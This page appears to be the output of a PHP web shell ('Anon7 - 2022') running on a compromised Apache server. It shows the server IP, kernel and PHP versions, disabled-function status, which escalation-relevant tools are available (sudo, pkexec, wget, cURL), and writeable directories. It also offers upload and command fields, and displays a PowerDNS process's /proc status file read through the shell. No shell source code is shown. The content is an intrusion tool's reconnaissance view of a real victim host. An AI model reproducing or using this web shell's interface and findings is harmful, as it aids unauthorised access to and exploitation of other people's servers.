SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 3.147.73.117
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/2312190/task/2312321/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/thread-self/root/proc/2312190/task/2312321/status
Name:	pdns/webserver
Umask:	0022
State:	S (sleeping)
Tgid:	2312190
Ngid:	0
Pid:	2312321
PPid:	1
TracerPid:	0
Uid:	25	25	25	25
Gid:	25	25	25	25
FDSize:	128
Groups:	25 
NStgid:	2312190
NSpid:	2312321
NSpgid:	2312190
NSsid:	2312190
VmPeak:	 1065460 kB
VmSize:	  983532 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	   60720 kB
VmRSS:	   56816 kB
RssAnon:	   52028 kB
RssFile:	    4788 kB
RssShmem:	       0 kB
VmData:	  131676 kB
VmStk:	     132 kB
VmExe:	    5104 kB
VmLib:	   14184 kB
VmPTE:	     340 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	7
SigQ:	0/22532
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000000001000
SigCgt:	00000001800004a8
CapInh:	0000000000000401
CapPrm:	0000000000000401
CapEff:	0000000000000401
CapBnd:	0000000000000401
CapAmb:	0000000000000401
NoNewPrivs:	1
Seccomp:	2
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	7
Cpus_allowed_list:	0-2
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	23
nonvoluntary_ctxt_switches:	0

Anon7 - 2022
SCDN GOK